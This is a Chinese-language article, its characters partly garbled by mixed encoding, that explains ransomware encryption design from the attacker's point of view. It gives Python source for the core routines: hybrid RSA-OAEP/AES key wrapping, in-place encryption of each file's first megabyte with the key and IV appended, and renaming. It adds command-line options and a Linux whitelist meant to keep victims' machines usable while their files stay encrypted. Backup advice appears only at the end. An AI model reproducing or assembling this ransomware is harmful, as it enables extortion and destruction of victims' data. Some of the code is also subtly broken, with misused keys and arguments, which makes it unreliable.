勒索軟件結(jié)構(gòu)與加密模式雜談

Security
公鑰與私鑰是一對(duì),如果用公鑰對(duì)數(shù)據(jù)進(jìn)行加密,只有用對(duì)應(yīng)的私鑰才能解密。因?yàn)榧用芎徒饷苁褂玫氖莾蓚€(gè)不同的密鑰,所以這種算法叫作非對(duì)稱加密算法。

360截圖16440809323970.png

基本加密類型

在對(duì)勒索軟件的研究中最重要的概念之一就是它使用的加密類型,其中主流勒索軟件均使用以下兩種,具體可參閱密碼學(xué)相關(guān)文獻(xiàn)。

對(duì)稱加密

360截圖16440809323970.png

對(duì)稱加密是大多數(shù)人都熟悉的加密技術(shù),其使用同一個(gè)密鑰來(lái)加密或解密數(shù)據(jù),常用于zip文件或Office文檔之類的加密。

非對(duì)稱加密

360截圖16440809323970.png

非對(duì)稱加密的具體實(shí)現(xiàn)可能較為難以理解,但其應(yīng)用還是簡(jiǎn)明易懂的。

非對(duì)稱加密算法需要兩個(gè)密鑰:公開密鑰(publickey:簡(jiǎn)稱公鑰)和私有密鑰(privatekey:簡(jiǎn)稱私鑰)。公鑰與私鑰是一對(duì),如果用公鑰對(duì)數(shù)據(jù)進(jìn)行加密,只有用對(duì)應(yīng)的私鑰才能解密。因?yàn)榧用芎徒饷苁褂玫氖莾蓚€(gè)不同的密鑰,所以這種算法叫作非對(duì)稱加密算法。非對(duì)稱加密算法實(shí)現(xiàn)機(jī)密信息交換的基本過(guò)程是:甲方生成一對(duì)密鑰并將公鑰公開,需要向甲方發(fā)送信息的其他角色(乙方)使用該密鑰(甲方的公鑰)對(duì)機(jī)密信息進(jìn)行加密后再發(fā)送給甲方;甲方再用自己私鑰對(duì)加密后的信息進(jìn)行解密。甲方想要回復(fù)乙方時(shí)正好相反,使用乙方的公鑰對(duì)數(shù)據(jù)進(jìn)行加密,同理,乙方使用自己的私鑰來(lái)進(jìn)行解密。

另一方面,甲方可以使用自己的私鑰對(duì)機(jī)密信息進(jìn)行簽名后再發(fā)送給乙方;乙方再用甲方的公鑰對(duì)甲方發(fā)送回來(lái)的數(shù)據(jù)進(jìn)行驗(yàn)簽。其目的不是為了保密,而是證明您是發(fā)送該消息的人(就像簽名在現(xiàn)實(shí)生活中一樣有效)。甲方只能用其私鑰解密由其公鑰加密后的任何信息。非對(duì)稱加密算法的保密性比較好,它消除了最終用戶交換密鑰的需要。

勒索軟件相關(guān)應(yīng)用

讓我們考慮一下正常情況下被勒索軟件感染的流程。其payload通過(guò)多種方式(釣魚,軟件漏洞等)傳播,并在目標(biāo)計(jì)算機(jī)上運(yùn)行從而加密目標(biāo)的所有文件。之后,用彈窗或其他醒目的方式要求受害者交錢以獲取解密文件的方法。所以我們應(yīng)該怎樣才能做到這些呢?

我們的第一個(gè)反應(yīng)肯定是對(duì)文件使用對(duì)稱加密,但這是錯(cuò)誤的,并且任何一個(gè)正常的勒索軟件都會(huì)出于一個(gè)重要原因而避免這樣做。當(dāng)勒索軟件正在加密受害者的文件時(shí),加密密鑰將需要出現(xiàn)在某個(gè)地方。如果使用對(duì)稱加密,則用于加密的加密密鑰也可以用于解密。這意味著合格的取證專家可以恢復(fù)感染期間用于加密的密鑰,然后使用它來(lái)解密文件。當(dāng)使用非對(duì)稱加密時(shí),我們使用不同的密鑰進(jìn)行加密和解密,因此,只要確保解密密鑰的安全,即使在受害者計(jì)算機(jī)中存儲(chǔ)加密密鑰也不是什么大問(wèn)題。

我們需要考慮的另一件重要事情是,作為攻擊者,我們需要擁有密鑰,以便受害者決定支付贖金時(shí)解密文件。使用對(duì)稱加密時(shí),我們需要在二進(jìn)制代碼上對(duì)密鑰進(jìn)行硬編碼(而這有多種方法可以逆轉(zhuǎn)),或者即時(shí)生成它,然后使用某種方式將其傳輸?shù)焦粽叩姆?wù)器(這也是一個(gè)壞主意,因?yàn)樗赡茉趥鬏斶^(guò)程中被截獲,并且如果目標(biāo)計(jì)算機(jī)斷網(wǎng),因?yàn)闆](méi)有密鑰,我們將無(wú)法為受害者解密文件。)像這樣的方案曾在CryptoDefense的第一代產(chǎn)品中使用,并允許受害者自行解密文件^1。因?yàn)槊荑€既在生成后傳輸?shù)椒?wù)器,缺又意外的留在了本地文件系統(tǒng)中。

而這就意味著我們必須使用非對(duì)稱加密來(lái)加密受害者文件嗎?我們可以生成一個(gè)密鑰對(duì),在代碼上對(duì)公共密鑰進(jìn)行硬編碼,然后用該密鑰對(duì)所有內(nèi)容進(jìn)行加密(將私有密鑰妥善保存)?不,我們不能。

當(dāng)您嘗試這么干時(shí),一個(gè)顯而易見的原因就是非對(duì)稱加密比對(duì)稱加密要慢幾個(gè)數(shù)量級(jí)。當(dāng)您加密受害者的硬盤時(shí),您需要盡快加密所有內(nèi)容。如果完全加密文件需要要花費(fèi)幾分鐘以上,那么受害者可能會(huì)注意到其文件已被加密,而這時(shí)只需簡(jiǎn)單的關(guān)閉計(jì)算機(jī)即可。這將使他能夠從硬盤驅(qū)動(dòng)器中保護(hù)剩余的文件。

那么我們應(yīng)該使用什么呢?

混合加密

360截圖16440809323970.png

為了解決此問(wèn)題,我們可以使用混合方法。當(dāng)生成payload時(shí),我們還將生成與該payload相關(guān)聯(lián)的一組公用/專用密鑰。我們?cè)谠撎囟╬ayload中對(duì)公鑰進(jìn)行編碼,并且每當(dāng)發(fā)生感染時(shí),payload都會(huì)生成一個(gè)用于對(duì)稱加密的密鑰。加密后,我們使用硬編碼的公鑰對(duì)對(duì)稱密鑰進(jìn)行加密(當(dāng)然,明文存儲(chǔ)的對(duì)稱密鑰會(huì)從內(nèi)存/磁盤中銷毀)。這個(gè)加密的對(duì)稱密鑰被保存在機(jī)器上的某個(gè)地方,并在贖金記錄中要求受害者提供此密鑰。

但是我們還有另一個(gè)問(wèn)題。

密鑰復(fù)用和選擇明文攻擊

選擇明文攻擊:攻擊者在開始攻擊時(shí)可以選擇一些明文,并獲取加密后的密文。如果攻擊者在攻擊中途可以根據(jù)已經(jīng)獲取的信息選擇新的明文并獲取對(duì)應(yīng)的密文,則稱為適應(yīng)性選擇明文攻擊。其是一種加密攻擊,其中,攻擊者在加密之前就知道了明文,并給出了足夠大的加密文件樣本,從理論上講,密鑰可以從加密結(jié)果中得出。大多數(shù)文件的header(具有已知格式)都可能發(fā)生這種情況。如果我們?cè)诮o定條件的情況下對(duì)所有文件使用相同的密鑰,則理論上可以恢復(fù)該密鑰。這實(shí)際上正是DirCrypt發(fā)生的事情^2。其由于不合適的密碼實(shí)現(xiàn)和密鑰復(fù)用,加密過(guò)程被逆轉(zhuǎn)了。

我們可以通過(guò)為每個(gè)文件使用不同的密鑰來(lái)解決此問(wèn)題。我們可以為每個(gè)文件生成對(duì)稱密鑰來(lái)對(duì)文件進(jìn)行加密,同時(shí)使用payload中的公共密鑰加密密鑰,將加密的對(duì)稱密鑰寫入某個(gè)位置,然后刪除明文對(duì)稱密鑰。

許多勒索軟件都使用這種方法,在這種加密模式中,它們生成一個(gè)文本文件,其中包含每個(gè)加密的文件名和與其關(guān)聯(lián)的加密的公共密鑰。使用解密工具時(shí),它將讀取文本文件,使用私鑰解密每個(gè)密鑰,然后使用解密后的密鑰解密文本文件。但我們將使用一些不同的東西。

技術(shù)說(shuō)明:這種類型的攻擊實(shí)際上并不影響我們將使用的對(duì)稱加密密碼(AES-256),因?yàn)槟J(rèn)情況下,它對(duì)每個(gè)文件流使用不同的隨機(jī)初始化矢量(IV),但我想解釋一下這個(gè)適用于所有勒索軟件的概念。如果勒索軟件的開發(fā)人員犯了一個(gè)錯(cuò)誤,這可能會(huì)幫助您恢復(fù)數(shù)據(jù)。

實(shí)際上,這種攻擊實(shí)際上可能會(huì)影響RSA加密,因?yàn)樗淖罨拘问讲皇请S機(jī)的。但在我們的情況下,這將不是問(wèn)題,因?yàn)槲覀兪褂肦SA加密的唯一文件是AES加密密鑰,并且它們既不構(gòu)成要分析的大樣本也不是同類樣本,并且我們將使用RSA加上最佳非對(duì)稱加密填充,可為加密增加隨機(jī)性。

對(duì)每個(gè)文件使用不同的密鑰的另一個(gè)優(yōu)點(diǎn)是可以在加密每個(gè)文件后刪除該加密密鑰,因此,如果任何受害者試圖恢復(fù)該密鑰,他將只能恢復(fù)用于最后一個(gè)文件加密的密鑰。如果我們對(duì)所有文件使用相同的密鑰,則可以在加密過(guò)程的任何部分中恢復(fù)密鑰,并且所有文件都是可恢復(fù)的。

加密速度

在對(duì)勒索軟件進(jìn)行編譯時(shí),原始版本使用了我到目前為止所介紹的所有功能,但結(jié)果有些令人失望。當(dāng)使用32位密鑰(AES-256)時(shí),初始基準(zhǔn)測(cè)試顯示加密速度約為每分鐘1GB。當(dāng)然,這種速度在很大程度上取決于受害者的硬件,而我使用的是VM,因?yàn)槲也幌胍馔獾丶用芪业拈_發(fā)計(jì)算機(jī),但是花16分鐘的時(shí)間來(lái)加密一個(gè)簡(jiǎn)單的1TB硬盤顯然并不合適。

那么,現(xiàn)代的勒索軟件是如何在幾秒鐘內(nèi)加密幾千兆字節(jié)的信息的?答案在于文件結(jié)構(gòu)。

實(shí)際上對(duì)正常操作系統(tǒng)而言,并不需要加密整個(gè)文件即可使其不可用。根據(jù)文件格式,對(duì)header和前幾個(gè)字節(jié)進(jìn)行加密就足以使整個(gè)文件不可讀。我們可能可以加密每個(gè)文件的前5兆字節(jié)。當(dāng)然,使用諸如strings之類的東西仍然可以讀取諸如txt/ascii文件之類的簡(jiǎn)單文件,但是大多數(shù)情況下,這些文件的權(quán)重不會(huì)超過(guò)幾個(gè)kb。此外,受害者最珍貴的文件通常是文檔,圖片和視頻。即使您仍然可以嘗試對(duì)部分文件進(jìn)行取證分析并恢復(fù)某些內(nèi)容,但這是一種手動(dòng)方法,需要對(duì)每個(gè)單獨(dú)的文件進(jìn)行操作,這一點(diǎn)都不實(shí)用。

更改文件的結(jié)尾的想法也很好,我們可以通過(guò)在結(jié)尾處添加幾個(gè)特定結(jié)構(gòu)來(lái)利用這一點(diǎn)。

初始化向量:使用AES加密文件時(shí),您需要一種稱為初始化向量的東西。這是在加密過(guò)程開始時(shí)生成的。

加密解密密鑰:我們還可以將加密解密的密鑰附加到每個(gè)文件的末尾,這將不用存儲(chǔ)每個(gè)文件的解密密鑰。

加密的文件結(jié)構(gòu)最終將變成如下所示:

360截圖16440809323970.png

只加密文件的一部分的另一個(gè)優(yōu)點(diǎn)是它允許我們處理同一文件而不是生成新的加密文件并刪除舊文件,而這在邊界情況下很有用。在這種情況下,我們有權(quán)寫入現(xiàn)有文件,但不能創(chuàng)建新文件,它還允許我們快速處理非常大的文件(類似500G的MySQL數(shù)據(jù)庫(kù))。

整體架構(gòu)

為每個(gè)進(jìn)程選擇適當(dāng)?shù)募用芊绞胶螅覀儗⑿枰O(shè)計(jì)整體架構(gòu)來(lái)傳播此惡意軟件,這將涉及自動(dòng)為每個(gè)payload創(chuàng)建一組密鑰的過(guò)程,因?yàn)槲覀儾幌M惺芎φ吖蚕硗幻荑€(如果一個(gè)人支付了贖金,它可以分發(fā)密鑰,從而使每個(gè)人都可以解密他們的加密文件)。我們還需要保留與每個(gè)受害者關(guān)聯(lián)的密鑰的數(shù)據(jù)庫(kù)。

為單個(gè)payload生成非對(duì)稱密鑰可以使用以下ssh-keygen命令:

ssh-keygen-b 2048-m pem-f pem

開發(fā)語(yǔ)言選擇

只要您避免使用特定于操作系統(tǒng)的指令(例如用os.system調(diào)用的指令),即跨平臺(tái)的同時(shí)速度也要很快(rust),并且具有我們需要執(zhí)行的大多數(shù)加密操作的庫(kù)。最后,它最好允許混淆編譯后的代碼,這樣能使最終二進(jìn)制文件的逆向更加困難。這里我們選擇了python(顯而易見?)。

360截圖16440809323970.png

在選擇python庫(kù)時(shí),我們可能會(huì)導(dǎo)入多種看上去功能相同的庫(kù),這是為了選擇其中最有效的一個(gè),特別是在密碼學(xué)這種不斷變化的領(lǐng)域。畢竟,過(guò)時(shí)的加密庫(kù)或者自建的加密方案可能會(huì)導(dǎo)致軟件的漏洞^3。我們將使用兩個(gè)知名的python庫(kù):pycryptodome和secrets。

實(shí)際上,可以使用asymcrypt。但是,我將使用直接的pycryptodome并創(chuàng)建每個(gè)函數(shù)來(lái)更好地說(shuō)明概念。

主要函數(shù)

●generate32ByteKey():生成一個(gè)隨機(jī)的32字節(jié)密鑰,有多種方法可以做到這一點(diǎn)??梢詮?dev/urandom抓取一個(gè)字符串并對(duì)其進(jìn)行sha256sum運(yùn)算,但這用于linux,而我們希望軟件跨平臺(tái),因此我們將使用python的secrets庫(kù),通過(guò)secrets.token_hex(32)完成。

●rsaEncryptSecret(string,publicKey):使用公鑰非對(duì)稱加密信息(因此只能使用私鑰解密)。這將使我們能夠使用publicKey加密每個(gè)文件的對(duì)稱密鑰。客戶端將使用我們的privateKey解密每個(gè)文件的對(duì)稱密鑰,然后使用其自己的對(duì)稱密鑰解密每個(gè)文件。

●saDecryptSecret(secret,privateKey):使用私鑰解密加密的對(duì)稱密鑰。

●symEncryptFile(publicKey,file):此函數(shù)是最復(fù)雜的函數(shù),其含有具體的加密邏輯,后文將進(jìn)行進(jìn)一步說(shuō)明。但顧名思義,它用于加密文件。

●symDecryptFile(privateKey,file):解密文件。

●symEncryptDirectory(publicKey,dir):此函數(shù)接收目錄作為參數(shù),并遍歷目錄以獲取其中的所有文件。之后,它將使用publicKey調(diào)用symEncryptFile。

●symDecryptDirectory(privateKey,dir):與symEncryptDirectory類似,顧名思義。。。

rsaEncryptSecret

使用RSA加密密鑰,但RSA在默認(rèn)情況下不會(huì)進(jìn)行任何隨機(jī)加密,因此我們將使用最佳非對(duì)稱加密填充(簡(jiǎn)稱OAEP)。這是一種填充方案,可通過(guò)添加隨機(jī)性和單向置換陷門來(lái)改進(jìn)RSA。需要注意的是,當(dāng)RSA與OAEP一起使用時(shí),所得的密碼大小應(yīng)與模數(shù)相同。模數(shù)是密鑰大小/8,我們使用的是2048位RSA,因此生成的密文應(yīng)為256字節(jié)。

簡(jiǎn)單示例:

def rsaEncryptSecret(string,publicKey):

public_key=get_key(publicKey,None)

#Create the cipher object

cipher_rsa=PKCS1_OAEP.new(public_key)

#We need to encode the string to work with bytes instead of chars

bytestrings=str.encode(string)

cipher_text=cipher_rsa.encrypt(bytestrings)

#At this point the cipher_text should be 256 bytes in length

#We'll base64 encode it for convenience

#Remember that a base64 string needs to be divisible by 3,so 256 bytes will become 258 with padding

return base64.b64encode(cipher_text)

360截圖16440809323970.png

RsaDecryptSecret

使用給定的私鑰解密密文:

def rsaDecryptSecret(string,privateKey):

#We firts import the private Key

private_key=get_key(privateKey,None)

#Decode the base64 encoded string

base64DecodedSecret=base64.b64decode(string)

#create the cipher object

cipher_rsa=PKCS1_OAEP.new(private_key)

#Decrypt the content

decryptedBytestrings=cipher_rsa.decrypt(base64DecodedSecret)

#Remember to convert the decoded cipher from bytes to string

decryptedSecret=decryptedBytestrings.decode()

return decryptedSecret

SymEncryptFile

這是主要的加密函數(shù)。工作流程如下:

使用publicKey和文件路徑作為參數(shù)調(diào)用該函數(shù)

def symEncryptFile(publicKey,file):

為指定文件生成一個(gè)隨機(jī)密鑰

key=generateKey()

使用publicKey加密隨機(jī)密鑰

encriptedKey=rsaEncryptSecret(key,publicKey)

定義文件的加密大?。╪個(gè)字節(jié))。

buffer_size=1048576

檢查文件是否加密,如已加密,跳過(guò)

if file.endswith("."+cryptoName):

print('File is already encrypted,skipping')

return

加密文件的前n個(gè)字節(jié)并覆蓋其內(nèi)容

#Open the input and output files

input_file=open(file,'r+b')

print("Encrypting file:"+file)

output_file=open(file+'.'+cryptoName,'w+b')

#Create the cipher object and encrypt the data

cipher_encrypt=AES.new(key,AES.MODE_CFB)

#Encrypt file first

input_file.seek(0)

buffer=input_file.read(buffer_size)

ciphered_bytes=cipher_encrypt.encrypt(buffer)

input_file.seek(0)

input_file.write(ciphered_bytes)

將加密用的隨機(jī)密鑰添加到文件末尾

input_file.seek(0,os.SEEK_END)

input_file.write(encriptedKey.encode())

在文件末尾附加AES IV(初始化向量)

input_file.seek(0,os.SEEK_END)

input_file.write(cipher_encrypt.iv)

重命名文件

input_file.close()

os.rename(file,file+"."+cryptoName)

360截圖16440809323970.png

需要注意的是我們并不需要復(fù)制完整的文件,我們只是在文件上使用了seek()來(lái)定位字節(jié)并使過(guò)程盡可能快。這也將在解密功能中使用。

還要注意,由于我們?cè)诩用芪募型瑫r(shí)寫入了AES IV和加密密鑰,因此我們不需要任何帶有每個(gè)加密文件索引的txt文件。受害者可以向我們發(fā)送任何文件,只要我們擁有用于特定二進(jìn)制文件的私鑰,我們就可以對(duì)其解密。

SymDecryptFile

這是主要的解密函數(shù)。工作流程如下:

使用privateKey和文件路徑作為參數(shù)調(diào)用該函數(shù)

def symDecryptFile(privateKey,file):

定義文件的解密大小(n個(gè)字節(jié))(等于加密中使用的大?。?/p>

buffer_size=1048576

驗(yàn)證文件是否已加密(帶有擴(kuò)展名)

if file.endswith("."+cryptoName):

out_filename=file[:-(len(cryptoName)+1)]

print("Decrypting file:"+file)

else:

print('File is not encrypted')

return

打開文件并讀取AES IV(最后16個(gè)字節(jié))

input_file=open(file,'r+b')

#Read in the iv

input_file.seek(-16,os.SEEK_END)

iv=input_file.read(16)

讀取加密的解密密鑰

#we move the pointer to 274 bytes before the end of file

#(258 bytes of the encryption key+16 of the AES IV)

input_file.seek(-274,os.SEEK_END)

#And we read the 258 bytes of the key

secret=input_file.read(258)

使用提供的私鑰解密加密的密鑰

key=rsaDecryptSecret(cert,secret)

解密我們之前定義的aes加密的緩沖區(qū)大小,并將其寫入文件的開頭

#Create the cipher object

cipher_encrypt=AES.new(privateKey,AES.MODE_CFB,iv=iv)

#Read the encrypted header

input_file.seek(0)

buffer=input_file.read(buffer_size)

#Decrypt the header with the key

decrypted_bytes=cipher_encrypt.decrypt(buffer)

#Write the decrypted text on the same file

input_file.seek(0)

input_file.write(decrypted_bytes)

從文件末尾刪除iv和加密密鑰并重命名

#Delete the last 274 bytes from the IV+key.

input_file.seek(-274,os.SEEK_END)

input_file.truncate()

input_file.close()

#Rename the file to delete the encrypted extension

os.rename(file,out_filename)

總結(jié)

使用上述函數(shù),我們就可以獲得想要的最終二進(jìn)制文件了。如果正確編譯了symEncryptDirectory/symDecryptDirectory,則可以選擇對(duì)參數(shù)中的文件夾/文件進(jìn)行加密或解密,然后僅傳遞.pem文件。程序的參數(shù)選擇大致如下:

parser=argparse.ArgumentParser()

parser.add_argument("--dest","-d",help="File or directory to encrypt/decrypt",dest="destination",default="none",required=True)

parser.add_argument("--action","-a",help="Action(encrypt/decrypt)",dest="action",required=True)

parser.add_argument("--pem","-p",help="Public/Private key",dest="key",required=True)

除了缺少錯(cuò)誤處理模塊(檢查encrypt操作是否具有作為參數(shù)傳遞的公鑰,decrypt是否具有私鑰等)之外,我們還必須定義各類操作系統(tǒng)的白名單。這步操作是為了使計(jì)算機(jī)“可用”但仍處于加密狀態(tài)。如果您只是加密所有可見文件,則可能會(huì):

使計(jì)算機(jī)無(wú)法使用,這將使受害者發(fā)現(xiàn)問(wèn)題。

對(duì)所有內(nèi)容進(jìn)行加密后,系統(tǒng)將無(wú)法啟動(dòng),并且用戶將不知道自己遭到了勒索軟件的攻擊。

在Linux下,白名單類似于:

whitelist=["/etc/ssh","/etc/pam.d","/etc/security/","/boot","/run","/usr","/snap","/var","/sys","/proc","/dev","/bin","/sbin","/lib","passwd","shadow","known_hosts","sshd_config","/home/sec/.viminfo",'/etc/crontab',"/etc/default/locale","/etc/environment"]

其它形式的勒索軟件(MBR加密)

目前還存在其他類型的勒索軟件,例如某些勒索軟件感染了驅(qū)動(dòng)器的主啟動(dòng)記錄,而payload將加密文件系統(tǒng)的NTFS文件表,從而使磁盤無(wú)法使用。由于這類勒索軟件只需要加密一小部分?jǐn)?shù)據(jù),因此這種方法非??靆5。Petya勒索軟件就是這種設(shè)計(jì)的一個(gè)很好的例子。但它有三個(gè)主要缺點(diǎn):

即使操作系統(tǒng)無(wú)法啟動(dòng),我們?nèi)匀豢梢酝ㄟ^(guò)取證分析來(lái)恢復(fù)文件。它們并不會(huì)被刪除,只是在文件表中被取消引用。即使惡意軟件在重新啟動(dòng)計(jì)算機(jī)后啟動(dòng)了原始數(shù)據(jù)的加密例程,只要受害者立即關(guān)閉計(jì)算機(jī)并取出磁盤,文件也有很大可能可以通過(guò)取證分析得到恢復(fù)。

大多數(shù)現(xiàn)代操作系統(tǒng)已遷移到GPT(GUID分區(qū)表),不再使用MBR^6。

它嚴(yán)重依賴于文件系統(tǒng),并且需要對(duì)其進(jìn)行修改以考慮其他區(qū)別于NTFS的文件系統(tǒng)類型(如EXT3/EXT4,ZFS等)。

這種方法需要了解更多的底層技術(shù)知識(shí),另外,這種方法也不是最常用的方法,本文的主要目的是更好地理解常見的勒索軟件。

建議

除了一些顯而易見的建議(不要打開來(lái)自未知來(lái)源的文件,經(jīng)常更新軟件和系統(tǒng),使用殺毒軟件等)之外,最主要的預(yù)防技術(shù)就是備份,備份和備份。。?;蛟S還有很多有關(guān)如何防止攻擊的建議,但我認(rèn)為最好的辦法永遠(yuǎn)是擁有數(shù)據(jù)的脫機(jī)備份。

畢竟一個(gè)局域網(wǎng)內(nèi)不是所有人都可以做到以上幾點(diǎn)

Ps.如果您已被感染,并且不需要立即恢復(fù)加密文件(家庭照片,視頻等),那么可以嘗試保留加密文件的副本。有時(shí),勒索軟件的開發(fā)人員要么退休(Shade,TeslaCrypt,HildaCrypt),要么被捕(CoinVault),甚至有時(shí)候會(huì)公開競(jìng)爭(zhēng)對(duì)手的密鑰(Petya vs Chimera),這些情況下解密的密鑰都可能被公開,從而恢復(fù)文件。

THEEND

最新評(píng)論(評(píng)論僅代表用戶觀點(diǎn))

更多
暫無(wú)評(píng)論